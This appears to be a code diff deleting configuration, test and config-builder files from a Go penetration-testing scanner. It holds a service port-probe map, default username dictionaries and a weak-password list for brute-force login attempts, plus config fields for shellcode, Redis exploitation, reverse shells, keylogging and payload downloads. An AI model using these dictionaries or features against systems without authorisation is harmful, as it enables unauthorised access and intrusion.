-	1311:  {"GenericLines"},
-	1352:  {"oracle-tns"},
-	1414:  {"ibm-mqseries"},
-	1433:  {"ms-sql-s"},
-	1521:  {"oracle-tns"},
-	1723:  {"GenericLines"},
-	1883:  {"mqtt"},
-	1911:  {"oracle-tns"},
-	2000:  {"GenericLines", "oracle-tns"},
-	2049:  {"RPCCheck"},
-	2121:  {"GenericLines", "Help"},
-	2181:  {"GenericLines"},
-	2222:  {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
-	2375:  {"docker", "GetRequest", "HTTPOptions"},
-	2376:  {"TLSSessionReq", "SSLSessionReq", "docker", "GetRequest", "HTTPOptions"},
-	2484:  {"oracle-tns"},
-	2628:  {"dominoconsole"},
-	3000:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	3268:  {"LDAPSearchReq", "LDAPBindReq"},
-	3269:  {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
-	3306:  {"GenericLines", "GetRequest", "HTTPOptions"},
-	3389:  {"TerminalServerCookie", "TerminalServer"},
-	3690:  {"GenericLines"},
-	4000:  {"GenericLines"},
-	4369:  {"epmd"},
-	4444:  {"GenericLines"},
-	4840:  {"GenericLines"},
-	5000:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	5050:  {"GenericLines"},
-	5060:  {"SIPOptions"},
-	5222:  {"GenericLines"},
-	5432:  {"GenericLines"},
-	5555:  {"GenericLines"},
-	5560:  {"GenericLines", "oracle-tns"},
-	5631:  {"GenericLines", "PCWorkstation"},
-	5672:  {"GenericLines"},
-	5984:  {"GetRequest", "HTTPOptions"},
-	6000:  {"X11Probe"},
-	6379:  {"redis-server"},
-	6432:  {"GenericLines"},
-	6667:  {"GenericLines"},
-	7000:  {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
-	7001:  {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
-	7002:  {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
-	7070:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	7443:  {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
-	7777:  {"GenericLines", "oracle-tns"},
-	8000:  {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
-	8005:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	8008:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	8009:  {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
-	8080:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	8081:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	8089:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	8090:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	8443:  {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
-	8888:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	9000:  {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	9042:  {"GenericLines"},
-	9092:  {"GenericLines", "kafka"},
-	9200:  {"GetRequest", "HTTPOptions", "elasticsearch"},
-	9300:  {"GenericLines"},
-	9999:  {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
-	10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
-	10051: {"GenericLines"},
-	11211: {"Memcache"},
-	15672: {"GetRequest", "HTTPOptions"},
-	27017: {"mongodb"},
-	27018: {"mongodb"},
-	50070: {"GetRequest", "HTTPOptions"},
-	61616: {"GenericLines"},
-}
-
-// DefaultUserDict 默认服务用户字典
-var DefaultUserDict = map[string][]string{
-	"ftp":        {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
-	"mysql":      {"root", "mysql"},
-	"mssql":      {"sa", "sql"},
-	"smb":        {"administrator", "admin", "guest"},
-	"rdp":        {"administrator", "admin", "guest"},
-	"postgresql": {"postgres", "admin"},
-	"ssh":        {"root", "admin"},
-	"mongodb":    {"root", "admin"},
-	"redis":      {""},
-	"oracle":     {"sys", "system", "admin", "test", "web", "orcl"},
-	"telnet":     {"root", "admin", "test"},
-	"elastic":    {"elastic", "admin", "kibana"},
-	"rabbitmq":   {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
-	"kafka":      {"admin", "kafka", "root", "test"},
-	"activemq":   {"admin", "root", "activemq", "system", "user"},
-	"ldap":       {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
-	"smtp":       {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
-	"imap":       {"admin", "mail", "postmaster", "root", "user", "test"},
-	"pop3":       {"admin", "root", "mail", "user", "test", "postmaster"},
-	"zabbix":     {"Admin", "admin", "guest", "user"},
-	"rsync":      {"root", "admin", "backup"},
-	"cassandra":  {"cassandra", "admin", "root", "system"},
-	"neo4j":      {"neo4j", "admin", "root", "test"},
-}
-
-// DefaultPasswords 默认密码字典
-var DefaultPasswords = []string{
-	"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
-	"password", "Password", "P@ssword123", "123123", "654321", "111111",
-	"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
-	"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
-	"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
-	"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
-	"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
-	"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
-	"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
-	"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
-	"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
-	"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
-	"1q2w3e", "Charge123", "Aa123456789", "redis", "elastic123",
-}

common/config/constants_test.go

@@ -1,393 +0,0 @@
-package config
-
-import (
-	"strconv"
-	"strings"
-	"testing"
-)
-
-/*
-constants_test.go - 配置常量测试
-
-测试目标：端口组、探测器配置、字典数据
-价值：配置错误会导致：
-  - 端口组错误 → 扫描范围错误（用户遗漏目标）
-  - 字典错误 → 暴力破解失败（无法登录系统）
-  - 探测器配置错误 → 服务识别失败
-
-"配置是数据，但数据也会有bug。端口范围错误、字典重复、
-空值遗漏——这些都是真实问题。测试数据和测试代码一样重要。"
-*/
-
-// =============================================================================
-// 端口组测试
-// =============================================================================
-
-// TestPortGroups_Format 测试端口组格式
-//
-// 验证：所有端口组字符串格式正确（可解析为端口列表）
-func TestPortGroups_Format(t *testing.T) {
-	tests := []struct {
-		name      string
-		portGroup string
-	}{
-		{"WebPorts", WebPorts},
-		{"MainPorts", MainPorts},
-		{"DbPorts", DbPorts},
-		{"ServicePorts", ServicePorts},
-		{"CommonPorts", CommonPorts},
-		{"AllPorts", AllPorts},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			// 验证格式：逗号分隔的数字或范围
-			if tt.portGroup == "" {
-				t.Error("端口组不应为空")
-				return
-			}
-
-			// AllPorts是特殊格式"1-65535"
-			if tt.portGroup == "1-65535" {
-				t.Logf("✓ %s 格式正确（范围格式）", tt.name)
-				return
-			}
-
-			// 其他端口组应该是逗号分隔的数字
-			ports := strings.Split(tt.portGroup, ",")
-			if len(ports) == 0 {
-				t.Error("端口组应该包含至少一个端口")
-				return
-			}
-
-			// 验证每个端口都是有效数字
-			for i, portStr := range ports {
-				port, err := strconv.Atoi(strings.TrimSpace(portStr))
-				if err != nil {
-					t.Errorf("第%d个端口 '%s' 不是有效数字: %v", i+1, portStr, err)
-					continue
-				}
-
-				// 验证端口范围
-				if port < 1 || port > 65535 {
-					t.Errorf("第%d个端口 %d 超出有效范围 [1-65535]", i+1, port)
-				}
-			}
-
-			t.Logf("✓ %s 格式正确（%d个端口）", tt.name, len(ports))
-		})
-	}
-}
-
-// TestPortGroups_NoEmpty 测试端口组非空
-func TestPortGroups_NoEmpty(t *testing.T) {
-	groups := map[string]string{
-		"WebPorts":     WebPorts,
-		"MainPorts":    MainPorts,
-		"DbPorts":      DbPorts,
-		"ServicePorts": ServicePorts,
-		"CommonPorts":  CommonPorts,
-		"AllPorts":     AllPorts,
-	}
-
-	for name, ports := range groups {
-		if ports == "" {
-			t.Errorf("%s 不应为空字符串", name)
-		}
-	}
-
-	t.Logf("✓ 所有端口组非空")
-}
-
-// TestPortGroups_NoDuplicates 测试端口组无重复
-func TestPortGroups_NoDuplicates(t *testing.T) {
-	tests := []struct {
-		name      string
-		portGroup string
-	}{
-		{"WebPorts", WebPorts},
-		{"MainPorts", MainPorts},
-		{"DbPorts", DbPorts},
-		{"ServicePorts", ServicePorts},
-		{"CommonPorts", CommonPorts},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			if tt.portGroup == "1-65535" {
-				t.Skip("范围格式无需检查重复")
-				return
-			}
-
-			ports := strings.Split(tt.portGroup, ",")
-			seen := make(map[string]bool)
-			duplicates := []string{}
-
-			for _, port := range ports {
-				port = strings.TrimSpace(port)
-				if seen[port] {
-					duplicates = append(duplicates, port)
-				}
-				seen[port] = true
-			}
-
-			if len(duplicates) > 0 {
-				t.Errorf("%s 包含重复端口: %v", tt.name, duplicates)
-			} else {
-				t.Logf("✓ %s 无重复端口", tt.name)
-			}
-		})
-	}
-}
-
-// TestGetPortGroups_Completeness 测试GetPortGroups完整性
-//
-// 验证：返回的map包含所有预定义的端口组
-func TestGetPortGroups_Completeness(t *testing.T) {
-	groups := GetPortGroups()
-
-	expectedKeys := []string{"web", "main", "db", "service", "common", "all"}
-	for _, key := range expectedKeys {
-		if _, ok := groups[key]; !ok {
-			t.Errorf("GetPortGroups缺少键: %s", key)
-		}
-	}
-
-	if len(groups) != len(expectedKeys) {
-		t.Errorf("GetPortGroups返回%d个组，期望%d个", len(groups), len(expectedKeys))
-	}
-
-	t.Logf("✓ GetPortGroups包含所有%d个端口组", len(expectedKeys))
-}
-
-// TestGetPortGroups_Values 测试GetPortGroups返回正确的值
-func TestGetPortGroups_Values(t *testing.T) {
-	groups := GetPortGroups()
-
-	tests := []struct {
-		key      string
-		expected string
-	}{
-		{"web", WebPorts},
-		{"main", MainPorts},
-		{"db", DbPorts},
-		{"service", ServicePorts},
-		{"common", CommonPorts},
-		{"all", AllPorts},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.key, func(t *testing.T) {
-			actual, ok := groups[tt.key]
-			if !ok {
-				t.Fatalf("GetPortGroups缺少键: %s", tt.key)
-			}
-
-			if actual != tt.expected {
-				t.Errorf("GetPortGroups[%s] 值不匹配\n期望前20字符: %s...\n实际前20字符: %s...",
-					tt.key, tt.expected[:20], actual[:20])
-			}
-
-			t.Logf("✓ %s 映射正确", tt.key)
-		})
-	}
-}
-
-// =============================================================================
-// 探测器配置测试
-// =============================================================================
-
-// TestDefaultProbeMap_NoEmpty 测试默认探测器列表非空
-func TestDefaultProbeMap_NoEmpty(t *testing.T) {
-	if len(DefaultProbeMap) == 0 {
-		t.Error("DefaultProbeMap不应为空")
-		return
-	}
-
-	// 验证每个探测器名称非空
-	for i, probe := range DefaultProbeMap {
-		if probe == "" {
-			t.Errorf("第%d个探测器名称为空", i+1)
-		}
-	}
-
-	t.Logf("✓ DefaultProbeMap包含%d个探测器", len(DefaultProbeMap))
-}
-
-// TestDefaultPortMap_ValidKeys 测试DefaultPortMap的键有效
-func TestDefaultPortMap_ValidKeys(t *testing.T) {
-	invalidPorts := []int{}
-
-	for port := range DefaultPortMap {
-		if port < 1 || port > 65535 {
-			invalidPorts = append(invalidPorts, port)
-		}
-	}
-
-	if len(invalidPorts) > 0 {
-		t.Errorf("DefaultPortMap包含无效端口号: %v", invalidPorts)
-	} else {
-		t.Logf("✓ DefaultPortMap的%d个端口号都有效", len(DefaultPortMap))
-	}
-}
-
-// TestDefaultPortMap_NoEmptyValues 测试DefaultPortMap值非空
-func TestDefaultPortMap_NoEmptyValues(t *testing.T) {
-	emptyPorts := []int{}
-
-	for port, probes := range DefaultPortMap {
-		if len(probes) == 0 {
-			emptyPorts = append(emptyPorts, port)
-		}
-	}
-
-	if len(emptyPorts) > 0 {
-		t.Errorf("以下端口的探测器列表为空: %v", emptyPorts)
-	} else {
-		t.Logf("✓ DefaultPortMap所有端口都有探测器")
-	}
-}
-
-// =============================================================================
-// 字典数据测试
-// =============================================================================
-
-// TestDefaultUserDict_NoEmptyKeys 测试DefaultUserDict键非空
-func TestDefaultUserDict_NoEmptyKeys(t *testing.T) {
-	for service, users := range DefaultUserDict {
-		if service == "" {
-			t.Error("DefaultUserDict包含空服务名")
-		}
-
-		if len(users) == 0 {
-			t.Errorf("服务 '%s' 的用户列表为空", service)
-		}
-	}
-
-	t.Logf("✓ DefaultUserDict包含%d个服务", len(DefaultUserDict))
-}
-
-// TestDefaultUserDict_CommonServices 测试DefaultUserDict包含常见服务
-func TestDefaultUserDict_CommonServices(t *testing.T) {
-	commonServices := []string{"ftp", "mysql", "mssql", "ssh", "redis", "mongodb"}
-
-	for _, service := range commonServices {
-		if _, ok := DefaultUserDict[service]; !ok {
-			t.Errorf("DefaultUserDict缺少常见服务: %s", service)
-		}
-	}
-
-	t.Logf("✓ DefaultUserDict包含所有常见服务")
-}
-
-// TestDefaultUserDict_AllowsEmptyUser 测试DefaultUserDict允许空用户名
-//
-// 验证：某些服务（如redis）允许空用户名
-func TestDefaultUserDict_AllowsEmptyUser(t *testing.T) {
-	// redis服务应该包含空用户名
-	redisUsers, ok := DefaultUserDict["redis"]
-	if !ok {
-		t.Skip("DefaultUserDict不包含redis，跳过测试")
-		return
-	}
-
-	hasEmptyUser := false
-	for _, user := range redisUsers {
-		if user == "" {
-			hasEmptyUser = true
-			break
-		}
-	}
-
-	if !hasEmptyUser {
-		t.Error("redis用户列表应该包含空用户名（默认无认证）")
-	} else {
-		t.Logf("✓ redis用户列表正确包含空用户名")
-	}
-}
-
-// TestDefaultPasswords_NoEmpty 测试DefaultPasswords非空
-func TestDefaultPasswords_NoEmpty(t *testing.T) {
-	if len(DefaultPasswords) == 0 {
-		t.Error("DefaultPasswords不应为空")
-		return
-	}
-
-	t.Logf("✓ DefaultPasswords包含%d个密码", len(DefaultPasswords))
-}
-
-// TestDefaultPasswords_AllowsEmptyPassword 测试DefaultPasswords允许空密码
-func TestDefaultPasswords_AllowsEmptyPassword(t *testing.T) {
-	// 应该包含空密码（某些服务默认无密码）
-	hasEmptyPassword := false
-	for _, pass := range DefaultPasswords {
-		if pass == "" {
-			hasEmptyPassword = true
-			break
-		}
-	}
-
-	if !hasEmptyPassword {
-		t.Error("DefaultPasswords应该包含空密码（某些服务默认无密码）")
-	} else {
-		t.Logf("✓ DefaultPasswords正确包含空密码")
-	}
-}
-
-// TestDefaultPasswords_HasPlaceholder 测试DefaultPasswords包含占位符
-func TestDefaultPasswords_HasPlaceholder(t *testing.T) {
-	// 应该包含{user}占位符（密码=用户名的场景）
-	hasPlaceholder := false
-	for _, pass := range DefaultPasswords {
-		if strings.Contains(pass, "{user}") {
-			hasPlaceholder = true
-			break
-		}
-	}
-
-	if !hasPlaceholder {
-		t.Error("DefaultPasswords应该包含{user}占位符（密码=用户名变体）")
-	} else {
-		t.Logf("✓ DefaultPasswords正确包含{user}占位符")
-	}
-}
-
-// =============================================================================
-// 结构体测试
-// =============================================================================
-
-// TestPocInfo_Fields 测试PocInfo结构体字段
-func TestPocInfo_Fields(t *testing.T) {
-	poc := PocInfo{
-		Target:  "http://example.com",
-		PocName: "test-poc",
-	}
-
-	if poc.Target != "http://example.com" {
-		t.Error("PocInfo.Target赋值失败")
-	}
-
-	if poc.PocName != "test-poc" {
-		t.Error("PocInfo.PocName赋值失败")
-	}
-
-	t.Logf("✓ PocInfo结构体正常工作")
-}
-
-// TestCredentialPair_Fields 测试CredentialPair结构体字段
-func TestCredentialPair_Fields(t *testing.T) {
-	cred := CredentialPair{
-		Username: "admin",
-		Password: "password123",
-	}
-
-	if cred.Username != "admin" {
-		t.Error("CredentialPair.Username赋值失败")
-	}
-
-	if cred.Password != "password123" {
-		t.Error("CredentialPair.Password赋值失败")
-	}
-
-	t.Logf("✓ CredentialPair结构体正常工作")
-}

common/config_builder.go

@@ -1,310 +0,0 @@
-package common
-
-import (
-	"encoding/hex"
-	"fmt"
-	"net"
-	"strconv"
-	"strings"
-
-	"github.com/shadow1ng/fscan/common/config"
-	"github.com/shadow1ng/fscan/common/parsers"
-)
-
-/*
-config_builder.go - 统一配置构建入口
-
-从 FlagVars 直接构建 Config 和 State，消除中间层。
-*/
-
-// BuildConfig 从 FlagVars 构建完整的 Config 和 State
-// 这是新的统一入口，替代原来的 Parse() + BuildConfigFromFlags() + updateGlobalVariables()
-func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) {
-	// 1. 构建基础 Config（从 flag_config.go 的 BuildConfigFromFlags）
-	cfg := BuildConfigFromFlags(fv)
-
-	// 2. 创建 State
-	state := NewState()
-
-	// 3. 解析凭据
-	if err := parseCredentials(fv, cfg); err != nil {
-		return nil, nil, fmt.Errorf("凭据解析失败: %w", err)
-	}
-
-	// 4. 解析目标（主机、端口、URL）
-	if err := parseTargets(fv, info, cfg, state); err != nil {
-		return nil, nil, fmt.Errorf("目标解析失败: %w", err)
-	}
-
-	// 5. 应用日志级别
-	applyLogLevelFromConfig(fv)
-
-	return cfg, state, nil
-}
-
-// =============================================================================
-// 凭据解析
-// =============================================================================
-
-func parseCredentials(fv *FlagVars, cfg *Config) error {
-	// 解析用户名
-	usernames := parseUsernames(fv)
-	if len(usernames) > 0 {
-		for serviceName := range cfg.Credentials.Userdict {
-			cfg.Credentials.Userdict[serviceName] = usernames
-		}
-	}
-
-	// 解析密码
-	passwords := parsePasswords(fv)
-	if len(passwords) > 0 {
-		cfg.Credentials.Passwords = passwords
-	}
-
-	// 解析用户密码对
-	pairs, err := parseUserPassPairs(fv)
-	if err != nil {
-		return err
-	}
-	if len(pairs) > 0 {
-		cfg.Credentials.UserPassPairs = pairs
-	}
-
-	// 解析哈希
-	hashValues, hashBytes, err := parseHashes(fv)
-	if err != nil {
-		return err
-	}
-	if len(hashValues) > 0 {
-		cfg.Credentials.HashValues = hashValues
-		cfg.Credentials.HashBytes = hashBytes
-	}
-
-	return nil
-}
-
-func parseUsernames(fv *FlagVars) []string {
-	var usernames []string
-
-	// 命令行用户名
-	if fv.Username != "" {
-		for _, u := range strings.Split(fv.Username, ",") {
-			u = strings.TrimSpace(u)
-			if u != "" {
-				usernames = append(usernames, u)
-			}
-		}
-	}
-
-	// 从文件读取
-	if fv.UsersFile != "" {
-		if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
-			usernames = append(usernames, lines...)
-		} else {
-			LogError(fmt.Sprintf("读取用户名文件 %s 失败: %v", fv.UsersFile, err))
-		}
-	}
-
-	// 额外用户名
-	if fv.AddUsers != "" {
-		for _, u := range strings.Split(fv.AddUsers, ",") {
-			u = strings.TrimSpace(u)
-			if u != "" {
-				usernames = append(usernames, u)
-			}
-		}
-	}
-
-	return removeDuplicate(usernames)
-}
-
-func parsePasswords(fv *FlagVars) []string {
-	var passwords []string
-
-	// 命令行密码
-	if fv.Password != "" {
-		passwords = append(passwords, strings.Split(fv.Password, ",")...)
-	}
-
-	// 从文件读取
-	if fv.PasswordsFile != "" {
-		if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
-			passwords = append(passwords, lines...)
-		} else {
-			LogError(fmt.Sprintf("读取密码文件 %s 失败: %v", fv.PasswordsFile, err))
-		}
-	}
-
-	// 额外密码
-	if fv.AddPasswords != "" {
-		passwords = append(passwords, strings.Split(fv.AddPasswords, ",")...)
-	}
-
-	return removeDuplicate(passwords)
-}
-
-func parseUserPassPairs(fv *FlagVars) ([]config.CredentialPair, error) {
-	var pairs []config.CredentialPair
-
-	// 如果命令行同时指定了单个用户名和单个密码（不是逗号分隔的多个）
-	if fv.Username != "" && fv.Password != "" &&
-		!strings.Contains(fv.Username, ",") && !strings.Contains(fv.Password, ",") &&
-		fv.UsersFile == "" && fv.PasswordsFile == "" && fv.UserPassFile == "" {
-		pairs = append(pairs, config.CredentialPair{
-			Username: strings.TrimSpace(fv.Username),
-			Password: fv.Password,
-		})
-		return pairs, nil
-	}
-
-	// 从文件读取用户密码对
-	if fv.UserPassFile != "" {
-		filePairs, err := parsers.ParseUserPassFile(fv.UserPassFile)
-		if err != nil {
-			return nil, err
-		}
-		pairs = append(pairs, filePairs...)
-	}
-
-	return pairs, nil
-}
-
-func parseHashes(fv *FlagVars) ([]string, [][]byte, error) {
-	var hashValues []string
-	var hashBytes [][]byte
-
-	// 命令行哈希
-	if fv.HashValue != "" {
-		hash := strings.TrimSpace(fv.HashValue)
-		if len(hash) == 32 {
-			hashValues = append(hashValues, hash)
-			if hashByte, err := hex.DecodeString(hash); err == nil {
-				hashBytes = append(hashBytes, hashByte)
-			}
-		}
-	}
-
-	// 从文件读取
-	if fv.HashFile != "" {
-		fileHashes, fileHashBytes, err := parsers.ParseHashFile(fv.HashFile)
-		if err != nil {
-			return nil, nil, err
-		}
-		hashValues = append(hashValues, fileHashes...)
-		hashBytes = append(hashBytes, fileHashBytes...)
-	}
-
-	return hashValues, hashBytes, nil
-}
-
-// =============================================================================
-// 目标解析
-// =============================================================================
-
-func parseTargets(fv *FlagVars, info *HostInfo, cfg *Config, state *State) error {
-	// 检查是否为 host:port 格式
-	ports := fv.Ports
-	if info.Host != "" && strings.Contains(info.Host, ":") {
-		if _, portStr, err := net.SplitHostPort(info.Host); err == nil {
-			if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= 1 && port <= 65535 {
-				// 有效的 host:port 格式
-				state.SetHostPorts([]string{info.Host})
-				ports = "" // 清空端口，避免双重扫描
-			}
-		}
-	}
-
-	// 解析 URL
-	urls := parseURLs(fv)
-	if len(urls) > 0 {
-		state.SetURLs(urls)
-		if info.URL == "" && len(urls) == 1 {
-			info.URL = urls[0]
-		}
-	}
-
-	// 更新端口配置
-	if ports != "" {
-		cfg.Target.Ports = ports
-	}
-
-	return nil
-}
-
-func parseURLs(fv *FlagVars) []string {
-	var urls []string
-
-	// 命令行 URL
-	if fv.TargetURL != "" {
-		for _, u := range strings.Split(fv.TargetURL, ",") {
-			u = strings.TrimSpace(u)
-			if u != "" {
-				urls = append(urls, normalizeURL(u))
-			}
-		}
-	}
-
-	// 从文件读取
-	if fv.URLsFile != "" {
-		if lines, err := parsers.ReadLinesFromFile(fv.URLsFile); err == nil {
-			for _, line := range lines {
-				urls = append(urls, normalizeURL(line))
-			}
-		} else {
-			LogError(fmt.Sprintf("读取URL文件 %s 失败: %v", fv.URLsFile, err))
-		}
-	}
-
-	return removeDuplicate(urls)
-}
-
-func normalizeURL(rawURL string) string {
-	rawURL = strings.TrimSpace(rawURL)
-	if rawURL == "" {
-		return rawURL
-	}
-	if !strings.HasPrefix(rawURL, "http://") && !strings.HasPrefix(rawURL, "https://") {
-		return "http://" + rawURL
-	}
-	return rawURL
-}
-
-// =============================================================================
-// 日志级别应用
-// =============================================================================
-
-func applyLogLevelFromConfig(fv *FlagVars) {
-	if fv.LogLevel == "" {
-		return
-	}
-	// 调用已有的 applyLogLevel 函数
-	applyLogLevel()
-}
-
-// =============================================================================
-// 辅助函数
-// =============================================================================
-
-func removeDuplicate(old []string) []string {
-	if len(old) <= 1 {
-		return old
-	}
-
-	temp := make(map[string]struct{}, len(old))
-	result := make([]string, 0, len(old))
-
-	for _, item := range old {
-		if _, exists := temp[item]; !exists {
-			temp[item] = struct{}{}
-			result = append(result, item)
-		}
-	}
-
-	return result
-}
-
-// =============================================================================
-// 保留 BuildConfigFromFlags 的原有实现（从 flag_config.go 移入）
-// =============================================================================
-
-// BuildConfigFromFlags 已在 flag_config.go 中定义，这里不重复

common/config_struct.go

@@ -1,188 +0,0 @@
-package common
-
-import (
-	"time"
-
-	"github.com/shadow1ng/fscan/common/config"
-)
-
-/*
-config_struct.go - 配置结构体定义
-
-简化后的结构：
-- 高频字段平铺到顶层
-- 子配置使用值类型（非指针）
-- 删除过度分类的 AdvancedConfig
-*/
-
-// =============================================================================
-// Config - 扫描器配置
-// =============================================================================
-
-// Config 扫描器完整配置 - 初始化后只读，可安全共享
-type Config struct {
-	// 高频访问字段 - 平铺到顶层
-	Timeout         time.Duration // 通用超时
-	ThreadNum       int           // 主线程数
-	ModuleThreadNum int           // 模块线程数
-	DisableBrute    bool          // 禁用暴力破解
-	DisablePing     bool          // 禁用Ping检测
-	DisableTcpProbe bool          // 禁用TCP补充探测
-
-	// 扫描模式
-	Mode        string // 扫描模式
-	LocalMode   bool   // 本地模式
-	LocalPlugin string // 本地插件名
-	AliveOnly   bool   // 仅存活检测
-	MaxRetries  int    // 最大重试次数
-
-	// 高级功能（从AdvancedConfig合并）
-	Shellcode             string           // Shellcode
-	LocalPluginsList      []string         // 本地插件列表
-	DNSLog                bool             // DNSLog检测
-	PersistenceTargetFile string           // 持久化目标文件
-	WinPEFile             string           // WinPE文件
-	PortMap               map[int][]string // 端口映射
-	DefaultMap            []string         // 默认映射
-
-	// 分组配置 - 值类型
-	Credentials  CredentialConfig
-	Network      NetworkConfig
-	Output       OutputConfig
-	POC          POCConfig
-	Redis        RedisConfig
-	HTTP         HTTPConfig
-	LocalExploit LocalExploitConfig
-	Target       TargetConfig // 扫描目标配置
-
-	// SOCKS5代理端口配置
-	Socks5ProxyPort int // SOCKS5代理端口
-}
-
-// TargetConfig 扫描目标配置
-type TargetConfig struct {
-	Ports        string // 端口范围字符串
-	ExcludePorts string // 排除端口字符串
-}
-
-// CredentialConfig 认证相关配置
-type CredentialConfig struct {
-	Username      string
-	Password      string
-	Domain        string
-	Userdict      map[string][]string
-	Passwords     []string
-	UserPassPairs []config.CredentialPair
-	HashValues    []string
-	HashBytes     [][]byte
-	SSHKeyPath    string
-}
-
-// NetworkConfig 网络相关配置
-type NetworkConfig struct {
-	HTTPProxy       string
-	Socks5Proxy     string
-	Iface           string
-	WebTimeout      time.Duration
-	MaxRedirects    int
-	PacketRateLimit int64
-	MaxPacketCount  int64
-	ICMPRate        float64
-}
-
-// OutputConfig 输出相关配置
-type OutputConfig struct {
-	File            string
-	Format          string
-	DisableSave     bool
-	NoColor         bool
-	Silent          bool
-	DisableProgress bool
-	ShowProgress    bool
-	LogLevel        string
-	Language        string
-	PerfStats       bool
-}
-
-// POCConfig POC扫描相关配置
-type POCConfig struct {
-	PocPath  string // POC路径
-	PocName  string // 指定POC名称
-	Full     bool   // 完整POC扫描
-	Num      int    // POC并发数
-	Disabled bool   // 禁用POC扫描
-}
-
-// RedisConfig Redis利用相关配置
-type RedisConfig struct {
-	Disabled     bool   // 禁用Redis利用
-	File         string // SSH密钥文件
-	Shell        string // 反弹Shell地址
-	WritePath    string // 写入路径
-	WriteContent string // 写入内容
-	WriteFile    string // 本地文件路径
-}
-
-// HTTPConfig HTTP请求相关配置
-type HTTPConfig struct {
-	Cookie    string // Cookie
-	UserAgent string // User-Agent
-	Accept    string // Accept头
-}
-
-// LocalExploitConfig 本地利用相关配置
-type LocalExploitConfig struct {
-	ReverseShellTarget  string // 反弹Shell目标
-	ForwardShellPort    int    // 正向Shell端口
-	KeyloggerOutputFile string // 键盘记录输出文件
-	DownloadURL         string // 下载URL
-	DownloadSavePath    string // 下载保存路径
-}
-
-// NewConfig 创建带默认值的Config（后备用，正常流程使用BuildConfigFromFlags）
-func NewConfig() *Config {
-	return &Config{
-		// 高频字段 - 使用默认常量
-		Timeout:         time.Duration(DefaultTimeout) * time.Second,
-		ThreadNum:       DefaultThreadNum,
-		ModuleThreadNum: 10,
-		DisableBrute:    false,
-		DisablePing:     false,
-		DisableTcpProbe: false,
-
-		// 扫描模式
-		Mode:       DefaultScanMode,
-		LocalMode:  false,
-		AliveOnly:  false,
-		MaxRetries: 3,
-
-		// 高级功能 - 使用默认配置
-		PortMap:    config.DefaultPortMap,
-		DefaultMap: config.DefaultProbeMap,
-
-		// 分组配置 - 使用默认字典
-		Credentials: CredentialConfig{
-			Userdict:      config.DefaultUserDict,
-			Passwords:     config.DefaultPasswords,
-			UserPassPairs: nil,
-		},
-		Network: NetworkConfig{
-			WebTimeout:   time.Duration(5) * time.Second,
-			MaxRedirects: 10,
-			ICMPRate:     0.1,
-		},
-		Output: OutputConfig{
-			File:         "result.txt",
-			Format:       "txt",
-			ShowProgress: true,
-			LogLevel:     DefaultLogLevel,
-			Language:     DefaultLanguage,
-		},
-		POC: POCConfig{
-			Num: 20,
-		},
-		LocalExploit: LocalExploitConfig{
-			ForwardShellPort: 4444,
-		},
-	}
-}

common/debug/debug.go

@@ -1,100 +0,0 @@
-//go:build debug
-// +build debug
-
-package debug
-
-import (
-	"fmt"
-	"os"
-	"runtime"
-	"runtime/pprof"
-	"runtime/trace"
-)
-
-var (
-	cpuProfile   *os.File
-	traceFile    *os.File
-	profilesPath = "./profiles"
-)
-
-func Start() {
-	if err := os.MkdirAll(profilesPath, 0755); err != nil {
-		fmt.Printf("[DEBUG] 创建 profiles 目录失败: %v\n", err)
-		return
-	}
-
-	var err error
-	cpuProfile, err = os.Create(profilesPath + "/cpu.prof")
-	if err != nil {
-		fmt.Printf("[DEBUG] 创建 CPU profile 失败: %v\n", err)
-	} else {
-		if err := pprof.StartCPUProfile(cpuProfile); err != nil {
-			fmt.Printf("[DEBUG] 启动 CPU profile 失败: %v\n", err)
-			cpuProfile.Close()
-			cpuProfile = nil
-		} else {
